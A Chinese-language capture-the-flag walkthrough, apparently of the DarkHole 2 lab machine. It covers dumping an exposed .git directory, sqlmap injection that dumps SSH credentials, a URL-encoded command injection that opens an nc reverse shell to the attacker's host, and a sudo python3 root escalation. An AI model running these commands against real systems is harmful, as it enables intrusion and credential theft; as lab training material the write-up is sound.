ip扫描发现主机 192.168.163.134
扫描端口
目录扫描,发现 .git
目录,使用 GitHack
下载目录
1
2
3
4
5
# 下载GitHack
git clone https://github.com/BugScanTeam/GitHack.git
cd GitHack
# 执行
python2 GitHack.py http://192.168.163.134/.git/
进入到 .git
目录查看日志
1
git log
发现有三个版本,第二版本在login.php
添加了默认凭证
回退版本
1
2
3
git reset --hard HEAD^
# or
git reset --hard a4d900a8d85e8938d3601f3cef113ee293028e10
查看 login.php
发现用户名:lush@admin.com
密码:321
使用用户名密码登录成功,登陆后地址: http://192.168.163.134/dashboard.php?id=1
查看 dashboard.php
, 其中 \155
为8进制,\x6f
为16进制
解码 query,测试mobile参数未发现注入
1
update users set username='{$fname}',email='{$email}',address='{$address}',contact_number='{$mobile}' where id=1
测试 id
参数是否存在注入
1
sqlmap.py -u http://192.168.163.134/dashboard.php?id=1 --cookie="PHPSESSID=ig59meapmtplquf4uqpl97v8kp" --dbs --batch
获取数据库
获取表
1
sqlmap.py -u http://192.168.163.134/dashboard.php?id=1 --cookie="PHPSESSID=ig59meapmtplquf4uqpl97v8kp" -D darkhole_2 --tables
获取列
1
sqlmap.py -u http://192.168.163.134/dashboard.php?id=1 --cookie="PHPSESSID=ig59meapmtplquf4uqpl97v8kp" -D darkhole_2 --columns
获取ssh表中数据
1
sqlmap.py -u http://192.168.163.134/dashboard.php?id=1 --cookie="PHPSESSID=ig59meapmtplquf4uqpl97v8kp" -D darkhole_2 -T ssh --dump
用户名:jehad
密码:fool
ssh登录成功,查看home目录
发现flag文件
获取到数据库用户名密码
sudo -l
提权失败
1
cat /etc/crontab
发现losy定时任务:在本地开放9999端口作为站点
查看 /opt/web
目录下文件,可知需要构造get请求,参数为 cmd
测试参数
尝试反弹shell
使用nc -e或nc -c都会报错
1
2
3
4
5
6
7
8
# mkfifo /tmp/f
curl http://127.0.0.1:9999?cmd=mkfifo%20%2Ftmp%2Ff
# echo "cat /tmp/f|/bin/bash -i 2>&1|nc -nv 192.168.163.132 4444 >/tmp/f" >/tmp/tt
curl http://127.0.0.1:9999?cmd=echo%20%22cat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%20-nv%20192.168.163.132%204444%20%3E%2Ftmp%2Ff%22%20%3E%2Ftmp%2Ftt
# chmod +x /tmp/tt
curl http://127.0.0.1:9999?cmd=chmod%20%2Bx%20%2Ftmp%2Ftt
# /bin/bash /tmp/tt
curl http://127.0.0.1:9999?cmd=%2Fbin%2Fbash%20%2Ftmp%2Ftt
反弹成功切换为用户 losy
查看 .bash_history
获取到losy用户密码:gang
SSH登录,sudo -l
查看是否能提权
使用python3提权
1
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'
root提权成功
获取到最终flag文件